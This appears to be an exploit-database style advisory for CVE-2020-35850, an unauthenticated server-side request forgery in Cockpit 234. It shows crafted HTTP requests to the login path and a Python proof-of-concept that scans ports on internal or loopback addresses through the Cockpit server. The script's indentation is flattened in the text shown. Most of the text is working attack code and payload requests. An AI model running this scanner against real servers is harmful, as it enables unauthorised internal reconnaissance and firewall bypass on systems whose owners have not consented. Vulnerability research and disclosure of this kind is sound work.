Cokpit version 234 - Server Side Request Forgery (CVE-2020-35850)

Cockpit Version 234 - sshd Service Scanning via Server-Side Request Forgery (Unauthenticated)

Description

  • Cockpit version: 234

  • OS: Ubuntu 18.04

  • Page: login

User can detect open ssh port or another open ports on server that services Cockpit last version. This is a vulnerability that allows an user send request to internal hosts for detecting open ports. So that firewall configuration can be bypassed or the server can be used like gateway by malicious user for scanning process. In addition, user induces the application to make an request back to the server that is hosting Cockpit. For example: if system admin creates iptables rule to drop all packets that come to 22 port or another port, user can detect whether port 22 is open or not.

Assuming that there is a iptables rule which port 22 is open for 127.0.0.1 (loopback interface) but is closed for other interface like ens33 (192.168.1.27) .

First HTTP Request:
GET /cockpit+=192.168.1.27:22/login HTTP/1.1
Host: 192.168.1.27:9090
User-Agent: *
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic dWJ1bnR1OnVidW50dQ==
X-Authorize:
Connection: close
Cookie: cockpit=deleted
Second HTTP Request:
GET /cockpit+=127.0.0.1:22/login HTTP/1.1
Host: 192.168.1.27:9090
User-Agent: *
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic dWJ1bnR1OnVidW50dQ==
X-Authorize:
Connection: close
Cookie: cockpit=deleted

Server-side request forgery vulnerability can be detected by comparing two requests above. First HTTP request does not response due to iptables rule.

Exploitation

#!/usr/bin/python3
import argparse
import requests
import sys
import urllib3
import time
from colorama import Fore, Style
from argparse import ArgumentParser, Namespace
from bs4 import BeautifulSoup
"""
Example scanning for internal server:
python3 PoC.py --target 192.168.1.33:9090 --scan 172.16.16.16 --ports 21,22,23
Example scanning for loopback interface of server:
python3 PoC.py --target 192.168.1.33:9090
Description : https://github.com/passtheticket/vulnerability-research/tree/main/cockpitProject/README.md
"""
def main():
dsc = "Cockpit Version 234 - sshd Service Scanning via Server-Side Request Forgery (Unauthenticated)"
parser: ArgumentParser = argparse.ArgumentParser(description=dsc)
parser.add_argument("--target", help="IP address of Cockpit server", type=str, required=True)
parser.add_argument("--scan", help="IP address of server that will be scanned", type=str, required=False)
parser.add_argument("--ports", help="Ports (example: 21,22)", type=str, required=False)
args: Namespace = parser.parse_args()
if args.target:
target = args.target
if args.scan:
scan = args.scan
if args.ports:
ports = args.ports
else:
ports = "22"
else:
scan = "127.0.0.1"
if args.ports:
ports = args.ports
else:
ports = "22"
cockpitReq(target, scan, ports)
def cockpitReq(target, scan, ports):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
portRange = ports.split(",")
for unsafe in portRange:
headers = {
"Host": str(target),
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Authorization": "Basic dW5zYWZlOmlubGluZQ==",
"X-Authorize": "",
"Connection": "close",
"Cookie": "cockpit=deleted",
}
req = requests.get("http://" + target + "/cockpit+=" + scan + ":" + unsafe + "/login", headers, verify=False)
time.sleep(2)
soup = BeautifulSoup(req.text, 'html.parser')
responseCode = req.status_code
responseTime = str(req.elapsed)
if responseCode == 404:
print("Cockpit server was not found!")
elif responseCode == 401:
if soup.title.string == "Authentication failed":
print(Fore.GREEN + Style.BRIGHT + "[+] Port: "+ unsafe + " sshd service is detected!")
elif soup.title.string == "Authentication failed: no-host":
if responseTime > "0:00:10.000000":
print(Fore.GREEN + Style.BRIGHT +"[-] Port: "+ unsafe + " is open, sshd service is not detected!")
else:
print(Fore.RED + Style.BRIGHT +"[-] Port: "+ unsafe + " sshd service is not detected!")
else:
print(Fore.RED + Style.BRIGHT +"[-] Error is occured!")
print("[-] One bad day!")
sys.exit(1)
else:
print("Something went wrong!")
main()